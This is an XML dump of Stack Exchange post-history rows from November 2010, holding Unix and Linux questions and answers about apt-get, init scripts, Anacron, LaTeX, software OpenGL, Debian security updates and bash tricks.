  <row Id="9224" PostHistoryTypeId="5" PostId="4142" RevisionGUID="15da9738-9213-4d13-9f01-ed080a1aa8a2" CreationDate="2010-11-21T22:25:11.073" UserId="281" Comment="added 40 characters in body" Text="I know you said you preferred a non-GUI application, but I am currently working on a GUI application called DownMarker which does this. You can find the source in a mercurial repository [here][1] (personal server, may not always be up). You can find a stand-alone executable to run with mono [here][2].&#xD;&#xA;&#xD;&#xA;Caveat: It is far from finished and only occasionally tested on linux/mono. Last test I did was on Mono 2.6. If you want to build it yourself will need a recent version of mercurial to clone the repository, and MonoDevelop to compile the application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wcoenen.name/hg/downmarker&#xD;&#xA;  [2]: http://dl.dropbox.com/u/119154/permalink/downmarker.exe" />
  <row Id="9225" PostHistoryTypeId="2" PostId="4245" RevisionGUID="ddbbe086-d59e-4f82-b77f-f524ff4f8732" CreationDate="2010-11-21T22:52:48.833" UserId="382" Text="Does the `daemon` command need a `&amp;` at the end. I don't think it does. This may be the source of your problem." />
  <row Id="9226" PostHistoryTypeId="2" PostId="4246" RevisionGUID="cc4f2c44-ab1e-49fa-a344-87c33b05adbf" CreationDate="2010-11-22T01:09:07.463" UserId="250" Text="Occasionally I have connection problem with apt-get (typically because I use it behind a proxy and try to install/upgrade flash). I have been trying sending &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;c&lt;/kbd&gt; but it would not stop. I thought it was something wrong with synaptic but obviously I just tried with a terminal and don't know how to stop it now." />
  <row Id="9227" PostHistoryTypeId="1" PostId="4246" RevisionGUID="cc4f2c44-ab1e-49fa-a344-87c33b05adbf" CreationDate="2010-11-22T01:09:07.463" UserId="250" Text="apt-get doesn't stop on Ctrl-c, what to do?" />
  <row Id="9228" PostHistoryTypeId="3" PostId="4246" RevisionGUID="cc4f2c44-ab1e-49fa-a344-87c33b05adbf" CreationDate="2010-11-22T01:09:07.463" UserId="250" Text="éubuntuàéaptà" />
  <row Id="9229" PostHistoryTypeId="2" PostId="4247" RevisionGUID="57f10ab6-04e5-4ec3-a96d-cdeb1d0275ab" CreationDate="2010-11-22T01:48:15.713" UserId="2626" Text="This is a known bug: &lt;br/&gt;&#xD;&#xA;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=599007  &lt;br/&gt; &#xD;&#xA;https://bugs.launchpad.net/ubuntu/+source/apt/+bug/578625  &lt;br/&gt;" />
  <row Id="9230" PostHistoryTypeId="5" PostId="4226" RevisionGUID="b2473d89-167c-48ac-b890-69ff8818b78c" CreationDate="2010-11-22T02:07:36.800" UserId="663" Comment="made script consistent" Text="I had to write my own CentOS init.d script for [celery][1] because it only ships with one for Debian. You can see the script I wrote when I answered my own stack overflow question [3989656][2].&#xD;&#xA;&#xD;&#xA;But there's a problem with this script. if I invoke it:&#xD;&#xA;&#xD;&#xA;    sudo service celeryd start&#xD;&#xA;&#xD;&#xA;then I need to hit enter to get a shell prompt after it completes. This is a problem because  I want to invoke it via ssh from another machine by doing:&#xD;&#xA;&#xD;&#xA;    ssh 192.168.2.3 sudo service celeryd start&#xD;&#xA;&#xD;&#xA;and ssh never returns. (I use [fabric][3] to start and stop remote services, and this hangs it because it invokes the ssh command above).&#xD;&#xA;&#xD;&#xA;What would cause this behavior, and how do I fix it in my script?&#xD;&#xA;&#xD;&#xA;Note that if I do &quot;sh -x /etc/init.d/celeryd&quot; as recommended by Thomas Themel in the comments, the output is:&#xD;&#xA;&#xD;&#xA;    runuser -s /bin/bash - apache -c 'ulimit -S -c 0 &gt;/dev/null 2&gt;&amp;1 ; /usr/local/django/portalapps/manage.py celeryd --pidfile /var/run/celery.pid -f /var/log/celeryd.log -l INFO'&#xD;&#xA;&#xD;&#xA;I don't understand how the daemon function in /etc/init.d/functions (which is what produces this series of bash commands) actually daemonizes the process. &#xD;&#xA;&#xD;&#xA;  [1]: http://ask.github.com/celery/index.html&#xD;&#xA;  [2]: http://stackoverflow.com/questions/3989656/init-d-celery-script-for-centos&#xD;&#xA;  [3]: http://docs.fabfile.org/0.9.3/&#xD;&#xA;" />
  <row Id="9231" PostHistoryTypeId="5" PostId="4247" RevisionGUID="bfee56d1-29d6-495e-821e-cdc340bbd441" CreationDate="2010-11-22T02:07:53.600" UserId="2626" Comment="added 257 characters in body" Text="This is a known bug: &lt;br/&gt;&#xD;&#xA;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=599007  &lt;br/&gt; &#xD;&#xA;https://bugs.launchpad.net/ubuntu/+source/apt/+bug/578625  &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;The [bug report](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=599007) mentions that even &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;\&lt;/kbd&gt; doesn't work.&#xD;&#xA;&#xD;&#xA;Solution: &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;- Suspend the job: &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Z&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;- Kill it: `sudo killall apt-get` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9232" PostHistoryTypeId="2" PostId="4248" RevisionGUID="073c08d5-fdba-4717-ba0a-2b62e2e55656" CreationDate="2010-11-22T04:24:39.267" UserId="2180" Text="So a friend asked me if I knew of a good Ubuntu tutorial or book. I remembered one from a while ago: the [Ubuntu Pocket Guide][1], but it turns out it's from 2008, so it's not really ideal any more.&#xD;&#xA;&#xD;&#xA;Are there any others out there that are updated for 10.4 or 10.10?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntupocketguide.com/download_main.html" />
  <row Id="9233" PostHistoryTypeId="1" PostId="4248" RevisionGUID="073c08d5-fdba-4717-ba0a-2b62e2e55656" CreationDate="2010-11-22T04:24:39.267" UserId="2180" Text="Good free intro to Ubuntu?" />
  <row Id="9234" PostHistoryTypeId="3" PostId="4248" RevisionGUID="073c08d5-fdba-4717-ba0a-2b62e2e55656" CreationDate="2010-11-22T04:24:39.267" UserId="2180" Text="éubuntuàébooksà" />
  <row Id="9235" PostHistoryTypeId="2" PostId="4249" RevisionGUID="b0bcd0a3-82a6-4dba-9ea8-9bb84fb558fc" CreationDate="2010-11-22T04:56:24.547" UserId="2755" Text="I'm trying to make a simple weekly Anacron job that backs up my computer if I click yes on the dialog. The script I wrote works fine if run manually, but when Anacron runs it, nothing happens and I see `Gtk-WARNING **: cannot open display` in the logs. Apparently the script is run at a stage where graphical operations cannot be run. Is there any way to get this dialog to open from an Anacron job?" />
  <row Id="9236" PostHistoryTypeId="1" PostId="4249" RevisionGUID="b0bcd0a3-82a6-4dba-9ea8-9bb84fb558fc" CreationDate="2010-11-22T04:56:24.547" UserId="2755" Text="Anacron job complains &quot;Gtk-WARNING **: cannot open display&quot;" />
  <row Id="9237" PostHistoryTypeId="3" PostId="4249" RevisionGUID="b0bcd0a3-82a6-4dba-9ea8-9bb84fb558fc" CreationDate="2010-11-22T04:56:24.547" UserId="2755" Text="écronàéscriptingàégtkö2à" />
  <row Id="9238" PostHistoryTypeId="2" PostId="4250" RevisionGUID="d4c67834-d046-48a2-b2b1-cc325deb1041" CreationDate="2010-11-22T05:00:56.773" UserId="73" Text="It's probably just running without the `$DISPLAY` environment variable. If you `echo $DISPLAY` in your shell you can see what its value is (most likely `:0.0`), and then you can specify that in the crontab file:&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0.0 dialog ..." />
  <row Id="9239" PostHistoryTypeId="2" PostId="4251" RevisionGUID="d187d791-b4a5-4959-b2a1-3dcfe66fd973" CreationDate="2010-11-22T06:20:00.743" UserId="1071" Text="I do wish you had responded to the other questions I had asked in my comment, such as whether you need to distribute the files afterwards, and so on, because it really makes it hard to answer* (see below), but I'll have to ignore that and give my preference anyway.&#xD;&#xA;&#xD;&#xA;For academic papers, the most &quot;complete&quot; linux solution in LaTeX, provided by &lt;a href=&quot;http://tug.org/texlive/&quot;&gt;TeXlive distribution&lt;/a&gt; on linux, which is an extremely powerful document preparation system widely used in the academic world, especially in mathematics and sciences, but is catching on even in the humanities.&#xD;&#xA;&#xD;&#xA;LaTeX is free, open source software. Some generic advocacy (a sample):&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://latex-project.org&quot;&gt;The LaTeX Project&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Essay: &lt;a href=&quot;http://ricardo.ecn.wfu.edu/~cottrell/wp.html&quot;&gt;Word Processors: Stupid and Inefficient&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://nitens.org/taraborelli/latex&quot;&gt;The Beauty of LaTeX&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.charlietanksley.net/latex/&quot;&gt;Introduction to LaTeX&lt;/a&gt; (written for academic philosophers)&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.tug.org/TUGboat/Articles/tb22-1-2/tb70heff.pdf&quot;&gt;Why TeX?&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.tug.org/texshowcase/&quot;&gt;TeX showcase&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;LaTeX is not a word processor. To use LaTeX, you use a regular text editor, and insert into your documents certain mark-up tags that focus on the &lt;i&gt;semantic meaning&lt;/i&gt; of your document. You say what is a heading, what is a section, what words are emphasized, what is a quotation. Typically, while composing, you don't focus on how the document looks. (Form is separated from content.) You then use LaTeX (built on D. Knuth's TeX typesetting engine) to typeset your document. It does this using very fussy typographical rules that derive from professional typesetting. Unlike the default settings in Word you get very advanced typographical features like pair and margin kerning, typographical ligatures, hyphenation, white-space balancing, and so on. The output's quality is comparable to InDesign or PageMaker. The output is usually a PDF. (You can also output to PostScript or DVI formats, or, with some loss of features, to HTML or OpenOffice format instead.)&#xD;&#xA;&#xD;&#xA;Plugins exist for most good text editors like &lt;a href=&quot;http://live.gnome.org/Gedit/LaTeXPlugin&quot;&gt;gedit, &lt;a href=&quot;http://vim-latex.sourceforge.net/&quot;&gt;vim&lt;/a&gt; and &lt;a href=&quot;http://www.gnu.org/software/auctex/&quot;&gt;emacs&lt;/a&gt;, and there are also LaTeX IDEs like &lt;a href=&quot;http://kile.sourceforge.net/&quot;&gt;Kile&lt;/a&gt; and &lt;a href=&quot;http://www.tug.org/texworks/&quot;&gt;TeXworks&lt;/a&gt;. For a smoother transition, you might also consider a &quot;What You See is What You Mean&quot; editor like &lt;a href=&quot;http://lyx.org&quot;&gt;LyX&lt;/a&gt;, which is more similar to a Word Processor interface.&#xD;&#xA;&#xD;&#xA;The quality of output it delivers far surpasses that of MS Word, and through the hundreds of user contributed packages, it is far richer and more powerful than MS Word or other traditional Word Processor. Bibliography management through BibTeX or BibLaTeX is easier and more automated. Changing, e.g., from Chicago Manual of Style bibliographies to APA style or AMS style is just a matter of changing a single setting. &#xD;&#xA;&#xD;&#xA;LaTeX has a steep learning curve at first, but once you've gotten the hang of it (which isn't nearly as bad as it looks), you'll never look back, and you'll wonder how anyone puts up with stupid Word Processors. LaTeX is to Word what Linux is to Windows. It's not just &quot;a better version of the same&quot;, but an entirely different trajectory in software that puts you in control of your documents. &#xD;&#xA;&#xD;&#xA;* Caveat: My answer may not be right if you simply *must* have the files saved in `.doc` or `.docx` format (which the question kind of suggests). But if you're just looking for something for producing academic papers, and you don't need to distribute them specifically in those formats (or receive them in those formats). That's why I was asking those questions. AbiWord, however, will convert from .doc(x) to LaTeX format, and as mentioned, you can output HTML from TeX source to import into Word or whatever.&#xD;&#xA;" />
  <row Id="9240" PostHistoryTypeId="2" PostId="4252" RevisionGUID="e52d5add-29cc-4106-9ed7-742618ab088f" CreationDate="2010-11-22T07:32:05.550" UserId="1262" Text="I want to try the most basic OpenGL driver, in order to find out what's the problem of my X server with OpenGL.&#xD;&#xA;&#xD;&#xA;I want then to have X use software rendering for OpenGL, like windows do with `opengl.dll` with no driver installed.&#xD;&#xA;&#xD;&#xA;How can I do that? Didn't find anything when searching for `X OpenGL software rendering`. I'll be glad for a reference, and for the keywords I had to use in order to find out how to do that.&#xD;&#xA;&#xD;&#xA;I'm using `Xorg` in RHEL 5.3." />
  <row Id="9241" PostHistoryTypeId="1" PostId="4252" RevisionGUID="e52d5add-29cc-4106-9ed7-742618ab088f" CreationDate="2010-11-22T07:32:05.550" UserId="1262" Text="Using software OpenGL rendering with X" />
  <row Id="9242" PostHistoryTypeId="3" PostId="4252" RevisionGUID="e52d5add-29cc-4106-9ed7-742618ab088f" CreationDate="2010-11-22T07:32:05.550" UserId="1262" Text="éxorgàéopenglà" />
  <row Id="9243" PostHistoryTypeId="2" PostId="4253" RevisionGUID="f6a429f8-a50a-491e-8583-f6519d749c47" CreationDate="2010-11-22T09:04:12.353" UserId="2421" Text="I think you're looking for [Mesa][1].  I'm not sure if RHEL has RPMs for that.  (Although Mesa is used in some hardware OpenGL drivers for X, it also provides a software-only renderer.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mesa3d.org/" />
  <row Id="9244" PostHistoryTypeId="2" PostId="4254" RevisionGUID="bbe748bb-2a97-421c-be1e-6e06fb428969" CreationDate="2010-11-22T10:34:42.770" UserId="2000" Text="I can't try it right know, but I found this answer to your question:   &#xD;&#xA;`fbgetty /dev/tty8 /dev/fb0`   &#xD;&#xA;`fbgetty /dev/tty9 /dev/fb1`&#xD;&#xA;&#xD;&#xA;Where:   &#xD;&#xA;- /dev/tty8/9/n are the terminals you want to move   &#xD;&#xA;- /dev/fb0/1/v are the framebuffer devices you want to use ... it should switch between your outputs&#xD;&#xA;&#xD;&#xA;Solution is taken from this forum thread: &lt;http://www.linuxforums.org/forum/debian-linux/96430-move-tty-second-monitor.html&gt;" />
  <row Id="9245" PostHistoryTypeId="2" PostId="4255" RevisionGUID="5a3d2c8f-30e2-448c-8796-9e2247d37deb" CreationDate="2010-11-22T11:37:10.900" UserId="688" Text="Why don't they upload packages to the normal archive? What about other distros?" />
  <row Id="9246" PostHistoryTypeId="1" PostId="4255" RevisionGUID="5a3d2c8f-30e2-448c-8796-9e2247d37deb" CreationDate="2010-11-22T11:37:10.900" UserId="688" Text="Why is there a separate archive for debian security updates?" />
  <row Id="9247" PostHistoryTypeId="3" PostId="4255" RevisionGUID="5a3d2c8f-30e2-448c-8796-9e2247d37deb" CreationDate="2010-11-22T11:37:10.900" UserId="688" Text="édebianà" />
  <row Id="9248" PostHistoryTypeId="2" PostId="4256" RevisionGUID="10b13f23-d148-4ed5-91a1-848cd7885530" CreationDate="2010-11-22T12:00:07.237" UserId="678" Text="What about the [Ubuntu Manual][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntu-manual.org/" />
  <row Id="9249" PostHistoryTypeId="5" PostId="4255" RevisionGUID="4be62687-bd75-4697-94e7-da6b49266bc6" CreationDate="2010-11-22T12:02:32.133" UserId="688" Comment="clarity" Text="Why don't they upload packages to the normal package repository? Is this a general convention (IE, do other distros separate the repositories also)?" />
  <row Id="9250" PostHistoryTypeId="4" PostId="4255" RevisionGUID="4be62687-bd75-4697-94e7-da6b49266bc6" CreationDate="2010-11-22T12:02:32.133" UserId="688" Comment="clarity" Text="Why is there a separate package repository for debian security updates?" />
  <row Id="9251" PostHistoryTypeId="2" PostId="4257" RevisionGUID="f066e6ad-b9f7-4239-aefb-c95b80a549c0" CreationDate="2010-11-22T13:13:51.697" UserId="916" Text="I'm pretty sure Debian puts security updates in the regular repo as well.&#xD;&#xA;&#xD;&#xA;The reason to have a separate repo that **only** contains security updates is so you can set up a server, only point it at the security repo, and automate updates. Now you've got a server that is guaranteed to have the latest security patches without accidentally introducing bugs caused by incompatible versions, etc.&#xD;&#xA;" />
  <row Id="9252" PostHistoryTypeId="5" PostId="4257" RevisionGUID="e9cb2cd2-196d-41ff-86d0-608b5b8a5554" CreationDate="2010-11-22T13:39:27.403" UserId="916" Comment="Add info about alternate approaches" Text="I'm pretty sure Debian puts security updates in the regular repo as well.&#xD;&#xA;&#xD;&#xA;The reason to have a separate repo that **only** contains security updates is so you can set up a server, only point it at the security repo, and automate updates. Now you've got a server that is guaranteed to have the latest security patches without accidentally introducing bugs caused by incompatible versions, etc.&#xD;&#xA;&#xD;&#xA;I'm not sure if this exact mechanism is used by other distros. There's a `yum` plugin to handle this kind of thing for CentOS, and Gentoo currently has a security mailing list (`portage` is currently being modified to support security-only updates). FreeBSD and NetBSD both provide ways to do security audits of installed ports/packages, which integrate well with the built-in update mechanisms. All told, Debian's approach (and probably Ubuntu's, since they're so closely related) is one of the slicker solutions to this problem." />
  <row Id="9253" PostHistoryTypeId="2" PostId="4258" RevisionGUID="6babd80b-dbe1-41d3-9d9e-5d26c7dbe2d7" CreationDate="2010-11-22T14:06:55.787" UserId="2626" Text="[Official Ubuntu Documentation](https://help.ubuntu.com/) " />
  <row Id="9254" PostHistoryTypeId="4" PostId="4255" RevisionGUID="f7db5b31-5bc7-4169-a521-379b5a086c08" CreationDate="2010-11-22T14:21:22.307" UserId="688" Comment="capitalize debian" Text="Why is there a separate package repository for Debian security updates?" />
  <row Id="9255" PostHistoryTypeId="2" PostId="4259" RevisionGUID="7d3d76fd-1a30-4baa-b747-67cd75aed423" CreationDate="2010-11-22T14:26:09.057" UserId="2000" Text="Back in the days of Pentium IIs and 3s I had several AGP Nvidia cards, from Riva TNT, GForce 2, GForce 3, GForce 4 MX ... all worked quite well on TV out. In those days I had to manually configure X and restart the computer for TV out to work, but know you can just use the &quot;xrandr&quot; command with a couple of parameters and everything works fine." />
  <row Id="9256" PostHistoryTypeId="2" PostId="4260" RevisionGUID="7854538c-0b88-461d-82d4-3b177c5e7b07" CreationDate="2010-11-22T14:36:01.683" UserId="2648" Text="2 more tools:&lt;br /&gt;&#xD;&#xA;- **Showdown** is JavaScript port or Markdown: http://attacklab.net/showdown/ . You can use it **only** from browser&lt;br /&gt;&#xD;&#xA;- **txt2tags** can read Markdown format but it adds a lot of new options and featues: http://txt2tags.org/online.php" />
  <row Id="9257" PostHistoryTypeId="2" PostId="4261" RevisionGUID="0aaa525e-0c32-4c9f-8753-bd22ba31ec1d" CreationDate="2010-11-22T14:46:33.460" UserId="1452" Text="My internet connection used to be a direct LAN connection to my provider. Back then, everything would load fine on both Windows and Ubuntu (dual boot). However, a while ago they started needing me to dial (PPPoE) using a username and password. Gateway, subnet mask, IP, DNS servers all stayed the same. But since then, I haven't been able to browse certain websites on Ubuntu, even though there have been no such issues on Windows. Some example websites are - [Ovi's sign in page][1] (although share.ovi.com loads fine, and nokia.com loads fine), [Live Mail][2] (works on Chrome(ium) and Opera but not on Firefox (both 3.6 and 4)) Mozilla [Addons website][3] and other random websites.&#xD;&#xA;&#xD;&#xA;Some of the websites that don't load show timeout messages like this one:&#xD;&#xA;&#xD;&#xA;![alt text][4]&#xD;&#xA;&#xD;&#xA;and for some websites (like the moz addons one), the browser will keep trying to load without an end (I've left it like that even for hours but not noticed anything different happen).&#xD;&#xA;&#xD;&#xA;I have tried changing the DNS servers to public ones. I have even tried booting from a Fedora LiveCD and _then_ changing the DNS to those (and even to the ones of OpenDNS), but the exact same thing happens. What could be inherently wrong with some config within Linux itself that is causing this problem?&#xD;&#xA;&#xD;&#xA;Does anyone know why this is happening and how it can be fixed?&#xD;&#xA;&#xD;&#xA;_Note: This question has been [cross-posted][5] on SU, but not gotten any responses._&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://share.ovi.com/signin&#xD;&#xA;  [2]: http://mail.live.com&#xD;&#xA;  [3]: http://addons.mozilla.org&#xD;&#xA;  [4]: http://i.imgur.com/vi29C.png&#xD;&#xA;  [5]: http://superuser.com/questions/213264/cant-access-select-websites-on-linux-but-can-on-windows" />
  <row Id="9258" PostHistoryTypeId="1" PostId="4261" RevisionGUID="0aaa525e-0c32-4c9f-8753-bd22ba31ec1d" CreationDate="2010-11-22T14:46:33.460" UserId="1452" Text="Can't access select websites on Linux (but can on Windows)" />
  <row Id="9259" PostHistoryTypeId="3" PostId="4261" RevisionGUID="0aaa525e-0c32-4c9f-8753-bd22ba31ec1d" CreationDate="2010-11-22T14:46:33.460" UserId="1452" Text="élinuxàénetworkingàédnsàéinternetà" />
  <row Id="9260" PostHistoryTypeId="2" PostId="4262" RevisionGUID="0b578427-a0fb-4460-8643-8de20bec4c66" CreationDate="2010-11-22T14:55:37.357" UserId="2763" Text="Is it possible to make bash change directory in command line simply by typing that directory without any commands like 'cd'?&#xD;&#xA;&#xD;&#xA;For example is it possible instead of writing this:&#xD;&#xA;&#xD;&#xA;    $ cd /tmp&#xD;&#xA;&#xD;&#xA;I just want to write only this:&#xD;&#xA;&#xD;&#xA;    $ /tmp&#xD;&#xA;&#xD;&#xA;In other words if I call directory as an application then I want to set that directory as a working one." />
  <row Id="9261" PostHistoryTypeId="1" PostId="4262" RevisionGUID="0b578427-a0fb-4460-8643-8de20bec4c66" CreationDate="2010-11-22T14:55:37.357" UserId="2763" Text="Strange change directory" />
  <row Id="9262" PostHistoryTypeId="3" PostId="4262" RevisionGUID="0b578427-a0fb-4460-8643-8de20bec4c66" CreationDate="2010-11-22T14:55:37.357" UserId="2763" Text="écommandölineàébashàéaliasà" />
  <row Id="9263" PostHistoryTypeId="2" PostId="4263" RevisionGUID="6af5d51d-29c1-4d90-88cc-fff3cf4f2045" CreationDate="2010-11-22T15:06:37.537" UserId="2180" Text="I would imagine so. There is some catch-all mechanism that Ubuntu has. When you run a command that isn't on the system, it sometimes says :&#xD;&#xA;&#xD;&#xA;&gt; No command 'foo'  found did you mean:...&#xD;&#xA;&#xD;&#xA;I'd bet you can hijack whatever that is and add a check to see if it's given a directory. It's probably worth posting another question asking what does that.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;Found it: https://wiki.ubuntu.com/CommandNotFoundMagic" />
  <row Id="9267" PostHistoryTypeId="2" PostId="4265" RevisionGUID="3c231e16-4fc1-4f4e-bf5e-d786f43f17fb" CreationDate="2010-11-22T15:59:10.410" UserId="138" Text="It appears that the core problem is something to do with SSL.  All of your problem URLs are `https://....` ones.&#xD;&#xA;&#xD;&#xA;I don't see why a change to PPPoE affects this, but perhaps your ISP changed more than one thing at once, and you're blaming the wrong change.&#xD;&#xA;&#xD;&#xA;I would try adding a hardware router, one specifically recommended by model number by your ISP.  Not only is that likely to negotiate the PPPoE connection exactly as your ISP wants, perhaps it will solve the issue with SSL connections, too.  &#xD;&#xA;&#xD;&#xA;If it doesn't help your immediate problem, you do still get a few side benefits from it.&#xD;&#xA;&#xD;&#xA;First, a hardware firewall adds a layer of security.  If you need to allow connections to the machine behind the firewall, see &lt;a href=&quot;http://portforward.com/&quot;&gt;PortForward.com&lt;/a&gt; for guides for port forwarding guides every router you're likely to use.&#xD;&#xA;&#xD;&#xA;Second, most home routers let you share your Internet connection with multiple PCs." />
  <row Id="9268" PostHistoryTypeId="2" PostId="4266" RevisionGUID="e60bb25e-d21b-4255-9062-09ba7833879a" CreationDate="2010-11-22T16:02:33.563" UserId="2759" Text="Not very sure, but the closest I can think of is [cgroups][1].&#xD;&#xA;&#xD;&#xA;Check http://broadcast.oreilly.com/2009/06/manage-your-performance-with-cgroups-and-projects.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/doc/Documentation/cgroups/cgroups.txt" />
  <row Id="9269" PostHistoryTypeId="2" PostId="4267" RevisionGUID="d0672800-a95f-4549-a089-cee50e4d758d" CreationDate="2010-11-22T16:17:57.783" UserId="2759" Text="VMWare is generally supported in linux, however if all your guests are linux, I'd recommend [LXC][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxc.sourceforge.net/" />
  <row Id="9270" PostHistoryTypeId="2" PostId="4268" RevisionGUID="5f4b06b5-5453-4ecb-b0af-fe3047aed2e8" CreationDate="2010-11-22T16:21:58.017" UserId="2759" Text="[QtCreator][1] is great, [KDevelop][2], Netbeans.&#xD;&#xA;&#xD;&#xA;Vim is also great if you learn how to use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://qt.nokia.com/products/developer-tools&#xD;&#xA;  [2]: http://www.kdevelop.org" />
  <row Id="9272" PostHistoryTypeId="2" PostId="4269" RevisionGUID="4dfc1e99-1ce2-4d3d-9ac6-92e6371c6dbd" CreationDate="2010-11-22T17:57:34.517" UserId="1571" Text="I had this exact same problem with chromium (and chrome). I assumed it was a webkit issue. I never found a permanent solution but if you google that error code (without the actual values) you'll see many people have the same issue. I could temporarily get it to work by closing the tab that was connected to the particular website and then cleared my cache and cookies and everything.&#xD;&#xA;&#xD;&#xA;I never found a solution and have since gone back to firefox." />
  <row Id="9273" PostHistoryTypeId="2" PostId="4270" RevisionGUID="f02b1277-ccbe-47d1-b782-edaeda7b2c5c" CreationDate="2010-11-22T18:20:31.070" UserId="2661" Text="In bash there is also `autocd` option. You can enable it by using `shopt -s autocd`:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ shopt -s autocd&#xD;&#xA;    pbm@tauri ~ $ ./django&#xD;&#xA;    cd ./django    &lt;- it's done automatically&#xD;&#xA;    pbm@tauri ~/django $" />
  <row Id="9274" PostHistoryTypeId="2" PostId="4271" RevisionGUID="1d2acdb0-2402-4673-82f0-98d76f83c64c" CreationDate="2010-11-22T18:48:00.517" UserDisplayName="pkk" Text="I have file names like below&#xD;&#xA;&#xD;&#xA;1) filename.jar&#xD;&#xA;2) filename.tar.gz&#xD;&#xA;3) filename with no extension&#xD;&#xA;4) org.eclipse.birt.chart.reportitem_2.1.0.N20060628-1351.jar&#xD;&#xA;5) OPSWoracle10g_instantclient-10.2.0.3.0-3.sparc64.rpm&#xD;&#xA;6) web-app_2_3.dtd&#xD;&#xA;&#xD;&#xA;How can I get the file names and extensions for all these scenarios in a bash script. Can you please help me.&#xD;&#xA;" />
  <row Id="9275" PostHistoryTypeId="1" PostId="4271" RevisionGUID="1d2acdb0-2402-4673-82f0-98d76f83c64c" CreationDate="2010-11-22T18:48:00.517" UserDisplayName="pkk" Text="bash get file name and extension" />
  <row Id="9276" PostHistoryTypeId="3" PostId="4271" RevisionGUID="1d2acdb0-2402-4673-82f0-98d76f83c64c" CreationDate="2010-11-22T18:48:00.517" UserDisplayName="pkk" Text="ébashàékshà" />
  <row Id="9277" PostHistoryTypeId="5" PostId="4271" RevisionGUID="b38fe6ed-0ed2-40cd-8b47-747ede457e23" CreationDate="2010-11-22T18:54:49.667" UserId="1207" Comment="edited body" Text="I have file names like below&#xD;&#xA;&#xD;&#xA;1. filename.jar&#xD;&#xA;2. filename.tar.gz&#xD;&#xA;3. filename with no extension&#xD;&#xA;4. org.eclipse.birt.chart.reportitem_2.1.0.N20060628-1351.jar&#xD;&#xA;5. OPSWoracle10g_instantclient-10.2.0.3.0-3.sparc64.rpm&#xD;&#xA;6. web-app_2_3.dtd&#xD;&#xA;&#xD;&#xA;How can I get the file names and extensions for all these scenarios in a bash script. Can you please help me.&#xD;&#xA;" />
  <row Id="9278" PostHistoryTypeId="6" PostId="2738" RevisionGUID="c501b208-9258-4d9e-9d3d-78210f75b8ba" CreationDate="2010-11-22T19:39:52.347" UserId="885" Comment="edited tags" Text="écàédevelopmentàéideàéeclipseà" />
  <row Id="9279" PostHistoryTypeId="6" PostId="2280" RevisionGUID="4bb024c4-dc21-4518-bba1-3704efaa0222" CreationDate="2010-11-22T19:40:08.493" UserId="885" Comment="edited tags" Text="éubuntuàévirtualömachineà" />
  <row Id="9280" PostHistoryTypeId="10" PostId="4271" RevisionGUID="420c0890-40ca-4319-8a1a-e7ff0ee68ac3" CreationDate="2010-11-22T20:15:13.817" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="9281" PostHistoryTypeId="5" PostId="4271" RevisionGUID="e3ece0a8-71bc-4942-9322-6406146da8b3" CreationDate="2010-11-22T20:15:13.927" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [bash : get file extension](http://unix.stackexchange.com/questions/1571/bash-get-file-extension)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have file names like below&#xD;&#xA;&#xD;&#xA;1. filename.jar&#xD;&#xA;2. filename.tar.gz&#xD;&#xA;3. filename with no extension&#xD;&#xA;4. org.eclipse.birt.chart.reportitem_2.1.0.N20060628-1351.jar&#xD;&#xA;5. OPSWoracle10g_instantclient-10.2.0.3.0-3.sparc64.rpm&#xD;&#xA;6. web-app_2_3.dtd&#xD;&#xA;&#xD;&#xA;How can I get the file names and extensions for all these scenarios in a bash script. Can you please help me.&#xD;&#xA;" />
  <row Id="9282" PostHistoryTypeId="5" PostId="4234" RevisionGUID="facfb30c-a05c-4823-92e7-c053c6ecbbc7" CreationDate="2010-11-22T20:20:23.347" UserId="73" Comment="edited body" Text="Obviously, this question is specific to Debian-based setups.&#xD;&#xA;&#xD;&#xA;I find that, often, packages I install using aptitude or apt-get only *say* that a menu item has been created. No menu item actually appears. Obviously, I can create one myself, but that requires knowing what the binary was actually called (in many cases different from the package name). There must be a simple way to know which directories things have been installed in.&#xD;&#xA;&#xD;&#xA;So,&#xD;&#xA;&#xD;&#xA;1. Does anyone know why the creation of menu entries fails?&#xD;&#xA;2. How can I get info about where the binaries reside/what they're called, in order to create my own menu entry?&#xD;&#xA;" />
